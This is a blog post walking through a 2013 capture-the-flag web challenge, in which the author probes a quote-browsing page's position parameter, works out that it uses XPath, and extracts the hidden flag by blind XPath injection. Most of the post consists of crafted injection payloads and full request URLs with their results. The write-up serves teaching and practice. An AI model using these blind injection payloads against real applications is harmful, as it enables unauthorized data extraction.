2013年8月4日 星期日

ebCTF@OHM2013 Web300

Web300
http://46.137.18.104

The site looks like generating some random quotes. Click on that funny > to navigate.
Here are some quotes:
It seems like a ridiculous idea!
We should give them a chance. They have to go somewhere
They are criminals, Their file says so.

Google them and you will find that it is the script for Flodder, as suggested in the question name.
Maybe navigate to the end will have the flag, so how about 500?
http://46.137.18.104/?pos=500&proof=2286
It kicks me back to the first quote. Now see how the funny > works:
function goto(pos) {
 pos = new String(pos);
 var proof = 0;
 while(md5(pos+proof).substring(0,4) != "1234") {
  proof = proof + 1;
 }
  
 window.location = "?pos="+escape(pos)+"&proof="+escape(proof);
}

There is a data integrity checker. So don't bother, just call the function and goto there.
It will go to:
A big sausage. Very greasy. That one there.

So this is not the end. How about 1000

Now it is empty. I am not a binary search so the next one is not 750. Let's try 900.
Hey you, keep it clean in here!

How about 950:
I got you!

You got me but I didn't get the flag. Let's try 975 (oh well binary search):
http://46.137.18.104/?pos=975&proof=121298

It is empty. Then what about 960:
http://46.137.18.104/?pos=960&proof=17658
Shall we make a picture? - Picture?

Oh you need a picture? 970:
http://46.137.18.104/?pos=970&proof=19940

Empty. 965:
http://46.137.18.104/?pos=965&proof=304665
Dear Sjakie...

Who is Sjakie? 968:
http://46.137.18.104/?pos=968&proof=4953
We really appreciate that we can stay in your summerhouse in the South of France.

As 970 is empty, 969 will be the last:
http://46.137.18.104/?pos=969&proof=30136
Everyone wishes you well and give their regards.

No flag. How about check all 970 quotes? But as the first quote says, "It seems like a ridiculous idea!".



Now I cut the crap. What you need to know here is we have 970 quotes and the funny integrity checking.
Let's see the SQLi works or not, try 1 or 2:
http://46.137.18.104/?pos=1%20or%202&proof=185017

It shows all the quotes! Search "ebCTF{" and you will get nothing.
How about 1 and 2:
http://46.137.18.104/?pos=1%20and%202&proof=14689
It also shows all the quotes. Very weird isn't it.
1 and 0:
http://46.137.18.104/?pos=1%20and%200&proof=8584
All quotes.
0 and 1:
http://46.137.18.104/?pos=0%20and%201&proof=112326
Nothing. You got some logic problem? Anyway let's try those standard subqueries:

1 and (SELECT 1)
http://46.137.18.104/?pos=1%20and%20%28SELECT%201%29&proof=5604
Empty! Is there an error? Maybe DUAL helps:
http://46.137.18.104/?pos=1%20and%20%28SELECT%201%20FROM%20DUAL%29&proof=64017
Empty. Then maybe it is sqlite:
http://46.137.18.104/?pos=1%20and%20%28SELECT%201%20FROM%20sqlite_master%29&proof=7604
Still empty. Maybe that is not SQL statement, let's do some maths first:

5+2:
http://46.137.18.104/?pos=5%2B2&proof=47319
It shows the quote from pos=7. Note that if you use the javascript goto('5+2') it will kick you out because of the plus sign.

5-2:
http://46.137.18.104/?pos=5-2&proof=299
So it shows the quote from pos=3.

5*2:
http://46.137.18.104/?pos=5*2&proof=41253
It's the quote from pos=10.

5/2:
http://46.137.18.104/?pos=5/2&proof=196522
Empty. How about 6/2:
http://46.137.18.104/?pos=6/2&proof=108385
Also empty. This funny thing knows additional subtraction multiplication but not division, maybe "/" is a reserved character? Now let's try some more difficult maths:

5%2:
http://46.137.18.104/?pos=5%252&proof=52232
Empty.
5^2:
http://46.137.18.104/?pos=5%5E2&proof=175881
Empty.
5**2:
http://46.137.18.104/?pos=5**2&proof=17354
Empty.
5&3:
http://46.137.18.104/?pos=5%263&proof=80984
Empty.
5|2:
http://46.137.18.104/?pos=5%7C2&proof=107570
Empty.
5>>2:
http://46.137.18.104/?pos=5%3E%3E2&proof=172591
Empty.
5<<2: p="">http://46.137.18.104/?pos=5%3C%3C2&proof=32047
Empty.
5=5:
http://46.137.18.104/?pos=5%3D5&proof=29577
Empty.
5==5:
http://46.137.18.104/?pos=5%3D%3D5&proof=10006
Also empty!
5!=2:
http://46.137.18.104/?pos=5%20%21%3D%202&proof=8987
OK we got all quotes now.
5<>2:
http://46.137.18.104/?pos=5%20%3C%3E%202&proof=5714
Nothing.
5>2:
http://46.137.18.104/?pos=5%3E2&proof=688
All quotes.
2<5: p="">http://46.137.18.104/?pos=2%3C5&proof=28335
Also works. What's wrong with the equal?
5 eq 5:
http://46.137.18.104/?pos=5%20eq%205&proof=14661
Empty.
not 0:
http://46.137.18.104/?pos=not%200&proof=110915
Empty.
~0:
http://46.137.18.104/?pos=~0&proof=21933
Empty.
-1:
http://46.137.18.104/?pos=-1&proof=173609
It kicks me back to the origin. Very strange.

Now if you think this is not strange, here is it:
5 mod 2:
http://46.137.18.104/?pos=5%20mod%202&proof=1532
Shows the quote with pos=1. Why mod but not %. And mod is a keyword. Proof:
5 mad 2:
http://46.137.18.104/?pos=5%20mad%202&proof=247401
Empty. Mad won't work.

Now we get some clue: If the thing inside is a Boolean True value, it gives all quotes, or else if that is a number, it gives a specific quote. And also -1 will kick me out, so it seems that the query is getting a specific line of a file, so line = pos + 1, and line 0 is weird.
To see that hypothesis, let's try something that is more weird:

5)*(2:
http://46.137.18.104/?pos=5%29*%282&proof=210471
It gives "OUCH", which is pos=14. So (   5)*(2   +1   ) = (   14   +1   ).
But still, I have no idea about what query is it. Previously we have the weird "mod", which looks like Visual Basic. Maybe we should try these:

2 Is 2:
http://46.137.18.104/?pos=2%20Is%202&proof=16433
Empty.
2 Like 2:
http://46.137.18.104/?pos=2%20Like%202&proof=43602
Empty.

mid(1,1,1):
http://46.137.18.104/?pos=mid%281%2C1%2C1%29&proof=152338
Nothing. Don't have mid, but have mod. How about the standard stuff.
substr(1,1,1):
http://46.137.18.104/?pos=substr%281%2C1%2C1%29&proof=125364
Empty.
substring(1,1,1):
http://46.137.18.104/?pos=substring%281%2C1%2C1%29&proof=1401
Oh something comes out. Oh oh oh oh. We have mod and substring.
Let's try other functions:
concat(1,1):
http://46.137.18.104/?pos=concat%281%2C1%29&proof=30673
We got something, now we have mod, substring and concat.
len(11):
http://46.137.18.104/?pos=len%2811%29&proof=34262
Nothing.
length(11):
http://46.137.18.104/?pos=length%2811%29&proof=89331
Nothing.
strlen(11):
http://46.137.18.104/?pos=strlen%2811%29&proof=86382
Nothing. Well, I expect there should be some kind of length function. Anyway let's try some other:
round(1):
http://46.137.18.104/?pos=round%281%29&proof=9448
We got result. So now we have mod, substring, concat and round.
floor(1):
http://46.137.18.104/?pos=floor%281%29&proof=106058
We also got result. mod, substring, concat, round and floor.
ceil(1):
http://46.137.18.104/?pos=ceil%281%29&proof=104727
Nothing. How about this
ceiling(1):
http://46.137.18.104/?pos=ceiling%281%29&proof=414095
We got something. mod, substring, concat, round, floor and ceiling.

Tired with these? Maybe it's about time to ask Google. Since mod is not a function (no brackets), I exclude it from the query. search "substring concat round floor ceiling", and the first one is Oracle documentation. Oh oracle. But wait, Oracle uses ceil instead of ceiling, and SELECT 1 FROM DUAL fails.

Now you feel that this writeup contains too many junks. Yes it is. Sorry for wasting you so much time.

Then the second one is a nice school that teaches you XPath, XQuery, and XSLT Functions:
http://www.w3schools.com/xpath/xpath_functions.asp
Sounds promising. So where is strlen ?
string-length(1):
http://46.137.18.104/?pos=string-length%281%29&proof=39347
It works!





So up to this point, it is pretty sure that the query is using XPath.
For your reference, you may read this:
https://www.owasp.org/index.php/Blind_XPath_Injection


Now it's time for some blind injection queries. It constructs like this:

1) and true() and (1
http://46.137.18.104/?pos=1%29%20and%20true%28%29%20and%20%281&proof=81297
Gives you "It seems like a ridiculous idea!"

1) and false() and (1
http://46.137.18.104/?pos=1%29%20and%20false%28%29%20and%20%281&proof=139267
Gives you nothing.


Since I have no idea about the file system, the flag should be inside the xml file. First we need to know about the tag name:
1) and starts-with(name(),'a') and (1
http://46.137.18.104/?pos=1%29%20and%20starts-with%28name%28%29%2C%27a%27%29%20and%20%281&proof=179186
Empty.
1) and starts-with(name(),'b') and (1
http://46.137.18.104/?pos=1%29%20and%20starts-with%28name%28%29%2C%27b%27%29%20and%20%281&proof=22468
Empty.
For the interest of readers, I tell you it starts from l:

1) and starts-with(name(),'l') and (1

It shows you the quote! Isn't that magic? :)

OK. Now guess the next character.
1) and starts-with(name(),'la') and (1
http://46.137.18.104/?pos=1%29%20and%20starts-with%28name%28%29%2C%27la%27%29%20and%20%281&proof=104552
Empty.
and keep trying you will end up with li:

1) and starts-with(name(),'li') and (1
http://46.137.18.104/?pos=1%29%20and%20starts-with%28name%28%29%2C%27li%27%29%20and%20%281&proof=76239
It seems like a ridiculous idea! comes out. Good.

From "li", it looks like "list" or "line". And I tell you it is "line".
1) and starts-with(name(),'line') and (1
http://46.137.18.104/?pos=1%29%20and%20starts-with%28name%28%29%2C%27line%27%29%20and%20%281&proof=80527

And you may also want to check the length:

1) and string-length(name()) = 4 and (1
http://46.137.18.104/?pos=1%29%20and%20string-length%28name%28%29%29%20%3D%204%20and%20%281&proof=126657
True.


Now crawl the nodes and see which one is interesting. First let's count the nodes:

1) and count(//line/child::node()) > 0 and (1
http://46.137.18.104/?pos=1%29%20and%20count%28//line/child%3A%3Anode%28%29%29%20%3E%200%20and%20%281&proof=120223
True. But greater than zero is not interesting. Since we have 970 quotes, I think it should be around that number.

1) and count(//line/child::node()) > 969 and (1
http://46.137.18.104/?pos=1%29%20and%20count%28//line/child%3A%3Anode%28%29%29%20%3E%20969%20and%20%281&proof=20493
True.

1) and count(//line/child::node()) > 970 and (1
http://46.137.18.104/?pos=1%29%20and%20count%28//line/child%3A%3Anode%28%29%29%20%3E%20970%20and%20%281&proof=25850
Also True. Weird?

1) and count(//line/child::node()) > 971 and (1
http://46.137.18.104/?pos=1%29%20and%20count%28//line/child%3A%3Anode%28%29%29%20%3E%20971%20and%20%281&proof=42475
True again?

1) and count(//line/child::node()) > 972 and (1
http://46.137.18.104/?pos=1%29%20and%20count%28//line/child%3A%3Anode%28%29%29%20%3E%20972%20and%20%281&proof=211689
False now. We have 972 nodes in total but 970 quotes. Looks like one of the line got a flag hidden.


Then you can write a program to send 970 queries:
1) and count(//line[position()=$i]/child::node()) = 1 and (1
for $i = 1 to 970 (or 972 if you like), and md5 the response to make a signature.
While most of them's response signature is "2d03b9ebdccc7b7063e48067b7ff5cfa", when $i = 429, it becomes "a39cbbcc053106660ed222cd6902abdb".

Now you may also check:

1) and count(//line[position()=429]/child::node()) = 3 and (1
http://46.137.18.104/?pos=1%29%20and%20count%28//line%5Bposition%28%29%3D429%5D/child%3A%3Anode%28%29%29%20%3D%203%20and%20%281&proof=13022
Which is true. That means this line got 3 nodes. If you go to the original message, you will find that there is an extra line before the quote:
http://46.137.18.104/?pos=428&proof=44222
But it doesn't matter. No one will recognize this hint.
Now we should find which node got "ebCTF{":


1) and contains(//line[position()=429]/child::node()[position()=1],'ebCTF{') and (1
http://46.137.18.104/?pos=1%29%20and%20contains%28//line%5Bposition%28%29%3D429%5D/child%3A%3Anode%28%29%5Bposition%28%29%3D1%5D%2C%27ebCTF%7B%27%29%20and%20%281&proof=29691
False.

1) and contains(//line[position()=429]/child::node()[position()=2],'ebCTF{') and (1
http://46.137.18.104/?pos=1%29%20and%20contains%28//line%5Bposition%28%29%3D429%5D/child%3A%3Anode%28%29%5Bposition%28%29%3D2%5D%2C%27ebCTF%7B%27%29%20and%20%281&proof=28613
True.

1) and contains(//line[position()=429]/child::node()[position()=3],'ebCTF{') and (1
http://46.137.18.104/?pos=1%29%20and%20contains%28//line%5Bposition%28%29%3D429%5D/child%3A%3Anode%28%29%5Bposition%28%29%3D3%5D%2C%27ebCTF%7B%27%29%20and%20%281&proof=24609
False.

So it is inside position 2. Run the program and change "ebCTF{" to "ebCTF{0", "ebCTF{1", etc, to get the following:

ebCTF{a77cc448eace781101ec6966e9615c8d}

Well. By the way the line doesn't start with ebCTF, looks like there is a character at the beginning to prevent it show up in the normal query, and the first node is that empty line, third node is the quote.


And finally:
https://twitter.com/eb_CTF/status/363382032899899394
It is very rare that I can be the first one to answer a question in such a high quality and tough CTF game. I enjoy the game very much. Thanks for Eindbazen for organizing this event and thank you for reading.

沒有留言:

張貼留言